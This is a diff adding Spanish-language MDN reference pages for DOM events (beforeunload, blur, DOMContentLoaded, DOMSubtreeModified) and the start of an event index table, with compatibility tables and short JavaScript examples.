+<p>Varios navegadores ignoran el resultado del evento y no le preguntan al usuario por confirmacion en absoluto. El documento siempre se descargara automaticamente. Firefox tiene un switch llamado dom.disable_beforeunload en <a>about:config</a>  para habilitar este comportamiento.</p>
+
+<p>Usando este manejador de evento tu pagina previene que Firefox cambie el cache de la pagina a uno en memoria bfcache. Mire <a href="en/Using_Firefox_1.5_caching">Usando el almacenamiento en cache Firefox 1.5</a> para detalles.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "indices.html#event-beforeunload", "beforeunload")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "browsers.html#unloading-documents", "beforeunload")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td>Definicion inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1</td>
+   <td>4</td>
+   <td>12</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Texto personalizado soporte removido</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td> </td>
+   <td>38</td>
+   <td><a href="https://developer.apple.com/library/mac/releasenotes/General/WhatsNewInSafari/Articles/Safari_9_1.html">9.1</a></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>(no) <a href="https://bugs.webkit.org/show_bug.cgi?id=19324">defect</a></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Texto personalizado soporte removido</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(51.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("44.0")}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(51.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Mire_tambien">Mire tambien</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Unloading Documents — Confirmacion para descargar un documento</a></li>
+ <li><a href="https://developers.google.com/web/updates/2016/04/chrome-51-deprecations?hl=en#remove_custom_messages_in_onbeforeload_dialogs">Remover mensajes personalizados en dialogos onbeforeload despues de Chrome 51</a> </li>
+</ul>
diff --git a/files/es/web/events/blur/index.html b/files/es/web/events/blur/index.html
new file mode 100644
index 0000000000..b54ad3e6a6
--- /dev/null
+++ b/files/es/web/events/blur/index.html
@@ -0,0 +1,156 @@
+---
+title: blur (evento)
+slug: Web/Events/blur
+tags:
+  - DOM
+translation_of: Web/API/Element/blur_event
+---
+<p>El evento <code>blur</code> es disparado cuando un elemento ha perdido su foco. La diferencia principal entre este evento y <code><a href="/en-US/docs/Mozilla_event_reference/focusout">focusout</a></code> es que sólo el último se propaga (bubbles).</p>
+
+<h2 id="Información_General">Información General</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Especificación</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interfaz</dt>
+ <dd style="margin: 0 0 0 120px;">{{domxref("FocusEvent")}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Burbujas</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Objetivo</dt>
+ <dd style="margin: 0 0 0 120px;">Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción por defecto</dt>
+ <dd style="margin: 0 0 0 120px;">Ninguna.</dd>
+</dl>
+
+<p>{{NoteStart}}El valor de  {{domxref("Document.activeElement")}} varía a traves de navegadores mientras este evento está siendo manejado ({{bug(452307)}}): IE10 lo agrega al elemento al cual el foco se movera, mientras Firefox y Chrome muy seguido lo agregan al cuerpo del documento.{{NoteEnd}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Propiedad</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>Objetivo del evento (elemento DOM)</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el elemento normalmente se propaga o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Si el evento es cancelable o no.</td>
+  </tr>
+  <tr>
+   <td><code>relatedTarget</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}} (DOM element)</td>
+   <td>null</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Delegación_de_eventos">Delegación de eventos</h2>
+
+<p>Hay dos maneras de implementar la delegación de eventos para este evento: usando el evento <code>focusout</code> en exploradores que lo soporten, o cambiando el parámetro "useCapture" de <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener</code></a> a <code>true</code>:</p>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush:html;">&lt;form id="form"&gt;
+  &lt;input type="text" placeholder="text input"&gt;
+  &lt;input type="password" placeholder="password"&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Contenido_JavaScript">Contenido JavaScript</h3>
+
+<pre class="brush: js">var form = document.getElementById("form");
+form.addEventListener("focus", function( event ) {
+  event.target.style.background = "pink";
+}, true);
+form.addEventListener("blur", function( event ) {
+  event.target.style.background = "";
+}, true);</pre>
+
+<p>{{EmbedLiveSample('Delegación_de_eventos')}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>6</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.0</td>
+   <td>53</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0</td>
+   <td>12.1</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Antes de Gecko 24 {{geckoRelease(24)}} la interfaz para este evento era {{domxref("Event")}}, no {{domxref("FocusEvent")}}. Vea ({{bug(855741)}}).</p>
+
+<h2 id="Eventos_relacionados">Eventos relacionados</h2>
+
+<ul>
+ <li>{{event("focus")}}</li>
+ <li>{{event("blur")}}</li>
+ <li>{{event("focusin")}}</li>
+ <li>{{event("focusout")}}</li>
+</ul>
diff --git a/files/es/web/events/domcontentloaded/index.html b/files/es/web/events/domcontentloaded/index.html
new file mode 100644
index 0000000000..ffbf3accbc
--- /dev/null
+++ b/files/es/web/events/domcontentloaded/index.html
@@ -0,0 +1,148 @@
+---
+title: DOMContentLoaded
+slug: Web/Events/DOMContentLoaded
+translation_of: Web/API/Window/DOMContentLoaded_event
+---
+<p>El evento <code>DOMContentLoaded</code> es disparado cuando el documento HTML ha sido completamente cargado y parseado, sin esperar hojas de estilo, images y subframes para  finalizar la carga. Un evento muy diferente - <a href="/en-US/docs/Mozilla_event_reference/load"><code>load</code></a> - debería ser usado solo para detectar una carga completa de la página. Es un error increíblemente popular usar <a href="/en-US/docs/Mozilla_event_reference/load"><code>load</code></a> cuando <code>DOMContentLoaded</code> sería mucho más apropiado, así que úsalo con cuidado.</p>
+
+<p>JavaScript síncrono pausa el parseo del DOM.</p>
+
+<p>También hay mucho propósito general y bibliotecas autónomas que ofrecen métodos de navegador cruzado para detectar que el DOM está preparado.</p>
+
+<h2 id="Speeding_up">Speeding up</h2>
+
+<p>If you want DOM to get parsed as fast as possible after the user had requested the page, some things you could do is turn your <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript asynchronous</a> and to <a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">optimize loading of stylesheets</a> which if used as usual, slow down page load due to being loaded in parallel, "stealing" traffic from the main html document.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="width: 120px; text-align: right; float: left;">Specification</dt>
+ <dd style="margin: 0px 0px 0px 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></dd>
+ <dt style="width: 120px; text-align: right; float: left;">Interface</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Event</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Bubbles</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Yes</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Cancelable</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Yes (although specified as a simple event that isn't cancelable)</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Target</dt>
+ <dd style="margin: 0px 0px 0px 120px;">Document</dd>
+ <dt style="width: 120px; text-align: right; float: left;">Default Action</dt>
+ <dd style="margin: 0px 0px 0px 120px;">None.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: html">&lt;script&gt;
+  document.addEventListener("DOMContentLoaded", function(event) {
+    console.log("DOM fully loaded and parsed");
+  });
+&lt;/script&gt;
+</pre>
+
+<pre class="brush: html">&lt;script&gt;
+  document.addEventListener("DOMContentLoaded", function(event) {
+    console.log("DOM fully loaded and parsed");
+  });
+
+for(var i=0; i&lt;1000000000; i++)
+{} // this synchronous script is going to delay parsing of the DOM. So the DOMContentLoaded event is going to launch later.
+&lt;/script&gt;
+</pre>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1")}}<sup>[1]</sup></td>
+   <td>9.0<sup>[2]</sup></td>
+   <td>9.0</td>
+   <td>3.1<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoMobile("1")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Bubbling for this event is supported by at least Gecko 1.9.2, Chrome 6, and Safari 4.</p>
+
+<p>[2] Internet Explorer 8 supports the <code>readystatechange</code> event, which can be used to detect when the DOM is ready. In earlier versions of Internet Explorer, this state can be detected by repeatedly trying to execute <code>document.documentElement.doScroll("left");</code>, as this snippet will throw an error until the DOM is ready.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li>{{event("DOMContentLoaded")}}</li>
+ <li>{{event("readystatechange")}}</li>
+ <li>{{event("load")}}</li>
+ <li>{{event("beforeunload")}}</li>
+ <li>{{event("unload")}}</li>
+</ul>
diff --git a/files/es/web/events/domsubtreemodified/index.html b/files/es/web/events/domsubtreemodified/index.html
new file mode 100644
index 0000000000..5fddfab433
--- /dev/null
+++ b/files/es/web/events/domsubtreemodified/index.html
@@ -0,0 +1,27 @@
+---
+title: DOMSubtreeModified
+slug: Web/Events/DOMSubtreeModified
+tags:
+  - DOM
+  - DOM Events
+  - Eventos del DOM
+  - ejemplos
+  - eventos
+translation_of: Archive/Events/DOMSubtreeModified
+---
+<p>{{ draft() }}</p>
+
+<h3 id="Example" name="Example">Resumen</h3>
+
+<p>Se produce cuando se añaden o eliminan nodos en el subárbol de un documento o elemento.</p>
+
+<h3 id="Example" name="Example">Ejemplo</h3>
+
+<p>Siguiente código mostrará la hora de la última modificación del DOM en el  título de la página.</p>
+
+<div class="warning">Hay que ser muy cuidadoso, con este evento es muy fácil crear un bucle infinito si tu decides que el nodo que cambia esta dentro de un manejador.</div>
+
+<pre class="brush: js">document.body.addEventListener('DOMSubtreeModified', function () {
+  document.title = 'DOM Changed at ' + new Date();
+}, false);
+</pre>
diff --git a/files/es/web/events/index.html b/files/es/web/events/index.html
new file mode 100644
index 0000000000..e7ede2dc58
--- /dev/null
+++ b/files/es/web/events/index.html
@@ -0,0 +1,1976 @@
+---
+title: Referencia de Eventos
+slug: Web/Events
+translation_of: Web/Events
+---
+<p> Los eventos se envían para notificar al código de cosas interesantes que han ocurrido. Cada evento está representado por un objeto que se basa en la interfaz {{domxref("Event")}}, y puede tener campos y/o funciones personalizadas adicionales para obtener más información acerca de lo sucedido. Los eventos pueden representar cualquier cosa desde las interacciones básicas del usuario <span id="result_box" lang="es"><span class="hps">para</span> <span class="hps">notificaciones automatizadas</span> <span class="hps">de</span> <span class="hps">las cosas que suceden</span> <span class="hps">en el modelo</span> <span class="hps">de representación.</span></span></p>
+
+<p>Este artículo ofrece una lista de eventos que se pueden enviar; algunos son eventos estándar definidos en las especificaciones oficiales, mientras que otros son eventos usados internamente por los navegadores específicos; por ejemplo, Eventos específicos de Mozilla se enumeran de manera que los <a href="/en-US/docs/Mozilla/Add-ons">complementos</a> pueden usarlos para interactuar con el navegador.</p>
+
+<h2 id="Eventos_Estándar">Eventos Estándar</h2>
+
+<p>Estos eventos se definen en las especificaciones Web oficiales, y deben ser comunes en todos los navegadores. <span id="result_box" lang="es"><span class="hps">Cada evento</span> <span class="alt-edited hps">aparece</span> <span class="hps">junto con</span> <span class="hps">la interfaz</span> <span class="hps">que representa el objeto</span> <span class="hps">enviado a los destinatarios</span> <span class="hps">del evento</span> <span class="atn hps">(</span><span>por lo que puede</span> <span class="hps">encontrar información sobre</span> <span class="hps">los datos que se</span> <span class="hps">incluyen en cada</span> <span class="hps">caso</span><span>), así como</span> <span class="hps">un enlace a la</span> <span class="hps">especificación o</span> <span class="hps">especificaciones que definen</span> <span class="hps">el evento.</span></span></p>
+
+<table class="standard-table" style="width: 100%;">
+ <tbody>
+  <tr>
+   <th class="header" style="width: 220px;">Nombre del evento</th>
+   <th class="header" style="width: 90px;">Tipo de evento</th>
+   <th class="header" style="width: 100px;">Especificación</th>
+   <th class="header">Se activa al...</th>
+  </tr>
+  <tr>
+   <td>{{event("abort")}}</td>
+   <td>{{domxref("UIEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort">DOM L3</a></td>
+   <td>La carga de un recurso ha sido abortada.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{domxref("ProgressEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>La progresión se ha terminado (no debido a un error).</td>
+  </tr>
+
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>Una transacción ha sido abortada.</td>
+  </tr>
+  <tr>
+   <td>{{event("afterprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>El documento asociado ha iniciado la impresión o la vista previa de impresión de ha cerrado</td>
+  </tr>
+  <tr>
+   <td>{{event("animationend")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Una <a href="/en-US/docs/CSS/CSS_animations">animation de CSS</a> ha terminado.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationiteration")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Una <a href="/en-US/docs/CSS/CSS_animations">animation de CSS</a> se repite.</td>
+  </tr>
+  <tr>
+   <td>{{event("animationstart")}}</td>
+   <td>{{domxref("AnimationEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/css3-animations/#animation-events">CSS Animations</a></td>
+   <td>Una <a href="/en-US/docs/CSS/CSS_animations">animation de CSS</a> ha iniciado.</td>
+  </tr>
+  <tr>
+   <td>{{event("audioprocess")}}</td>
+   <td>{{domxref("AudioProcessingEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>El búfer de entrada de un {{domxref("ScriptProcessorNode")}} está listo para ser procesado.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeprint")}} {{gecko_minversion_inline("6")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>El documento asociado está a punto de ser impreso o previsualizado para imprimir.</td>
+  </tr>
+  <tr>
+   <td>{{event("beforeunload")}}</td>
+   <td>{{domxref("BeforeUnloadEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5 </a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("beginEvent")}}</td>
+   <td>{{domxref("TimeEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>Inicia un elemento de animación <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a>.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>Una conexión abierta en la base de datos está bloqueando una transacción <code>versionchange</code> en la misma base de datos.</td>
+  </tr>
+  <tr>
+   <td>{{event("blur")}}</td>
+   <td>
+    <ol>
+     <li>{{domxref("FocusEvent")}}</li>
+    </ol>
+   </td>
+   <td style="white-space: nowrap;">
+    <ol>
+     <li><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur">DOM L3</a></li>
+    </ol>
+   </td>
+   <td>Un elemento ha perdido el foco (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{event("cached")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>Los recursosn que aparecen en el manifiesto se han descargado, y la aplicación está ahora almacenada en caché.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplay")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay">HTML5 media</a></td>
+   <td>La aplicación del usuario puede reproducir los medios, pero se estima que no hay datos suficientes, han sido cargados para reproducir el medio hasta el final sin tener que parar para una mayor amortiguación del contenido.</td>
+  </tr>
+  <tr>
+   <td>{{event("canplaythrough")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough">HTML5 media</a></td>
+   <td>La aplicación de usuario puede reproducir los medios, y se estima que hay datos suficientes, han sido cargados para reproducir el medio hasta el final sin tener que parar para una mayor amortiguación del contenido</td>
+  </tr>
+  <tr>
+   <td>{{event("change")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>Un elemento perdió el foco y su valor cambio desde que obtuvo el foco.</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingchange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>La batería inició o dejo de cargar</td>
+  </tr>
+  <tr>
+   <td>{{event("chargingtimechange")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>El atributo <code>chargingTime</code> se ha actualizado.</td>
+  </tr>
+  <tr>
+   <td>{{event("checking")}}</td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://dev.w3.org/html5/spec/offline.html">Offline</a></td>
+   <td>La aplicación de usuario está comprobando una actualización o intenta descargar el manifiesto de caché por primera vez.</td>
+  </tr>
+  <tr>
+   <td>{{event("click")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click">DOM L3</a></td>
+   <td>Un botón en el dispositivo señalador se ha pulsado y soltado en un elemento.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{domxref("Event")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>Una conexión WeSocket se ha cerrado.</td>
+  </tr>
+  <tr>
+   <td>{{event("compassneedscalibration")}}</td>
+   <td>{{domxref("SensorEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/orientation-event/#compassneedscalibration">Orientation</a></td>
+   <td>La brujula usada para obtener los datos de la orientación en que está necesita calibración.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td> </td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{event("complete")}}</td>
+   <td>{{domxref("OfflineAudioCompletionEvent")}}</td>
+   <td style="white-space: nowrap;">{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>El renderizado de un {{domxref("OfflineAudioContext")}} finaliza.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionend")}} {{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend">DOM L3</a></td>
+   <td>La composición de un pasaje de texto se ha completado o cancelado.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionstart")}} {{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart">DOM L3</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">La composición de un</span> <span class="hps">pasaje de un texto</span> <span class="hps">está preparado</span> <span class="hps">(similar a</span> <span class="hps">KeyDown</span> <span class="hps">para una entrada de</span> <span class="hps">teclado,</span> <span class="hps">sino que trabaja</span> <span class="hps">con otros</span> <span class="hps">insumos, como el</span> <span class="hps">reconocimiento de voz</span><span>)</span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{event("compositionupdate")}} {{gecko_minversion_inline("9")}}</td>
+   <td>{{domxref("CompositionEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate">DOM L3</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">Un carácter</span> <span class="hps">se añade</span> <span class="hps">a un pasaje</span> <span class="hps">de</span> <span class="alt-edited hps">texto que está siendo</span> <span class="alt-edited hps">compuesto</span><span>.</span></span></td>
+  </tr>
+  <tr>
+   <td>{{event("contextmenu")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/html5/interactive-elements.html#context-menus">HTML5</a></td>
+   <td><span id="result_box" lang="es"><span class="hps">Se hace clic en</span> <span class="hps">el botón</span> <span class="hps">derecho del</span> <span class="atn hps">ratón (</span><span>antes de que aparezca</span> <span class="hps">el menú contextual)</span></span>.</td>
+  </tr>
+  <tr>
+   <td>{{event("copy")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>El texto seleccionado se ha agregado al porta papeles.</td>
+  </tr>
+  <tr>
+   <td>{{event("cut")}}</td>
+   <td>{{domxref("ClipboardEvent")}}</td>
+   <td style="white-space: nowrap;"><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>El texto seleccionado ha sido borrado del documento y agregado al portapapeles.</td>
+  </tr>
+  <tr>
+   <td>{{event("dblclick")}}</td>
+   <td>{{domxref("MouseEvent")}}</td>
